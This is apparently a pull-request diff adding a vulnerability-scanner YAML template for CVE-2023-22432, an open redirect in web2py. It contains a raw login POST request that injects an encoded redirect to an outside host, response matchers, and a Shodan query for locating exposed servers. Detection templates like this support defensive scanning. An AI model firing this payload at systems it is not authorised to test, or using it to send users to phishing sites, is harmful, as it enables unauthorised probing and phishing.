Merge pull request #8272 from projectdiscovery/CVE-2023-22432

Create CVE-2023-22432.yaml

http/cves/2023/CVE-2023-22432.yaml

@@ -0,0 +1,54 @@
+id: CVE-2023-22432
+
+info:
+  name: Web2py URL - Open Redirect
+  author: DhiyaneshDK
+  severity: medium
+  description: |
+    Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.
+  remediation: |
+    Update to web2py 2.23.1 or higher.
+  reference:
+    - https://github.com/aeyesec/CVE-2023-22432
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-22432
+    - https://jvn.jp/en/jp/JVN78253670/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2023-22432
+    cwe-id: CWE-601
+    epss-score: 0.00052
+    epss-percentile: 0.18528
+    cpe: cpe:2.3:a:web2py:web2py:*:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: web2py
+    product: web2py
+    verified: true
+    shodan-query: http.favicon.hash:-1680052984
+  tags: cve,cve2023,web2py,redirect,authenticated
+
+http:
+  - raw:
+      - |
+        POST /admin/default/index HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        password={{password}}&send=%5C%2F%5C%2Foast.pro&login=
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'a href="\/\/oast.pro"'
+
+      - type: word
+        part: location
+        words:
+          - '\/\/oast.pro'
+
+      - type: status
+        status:
+          - 303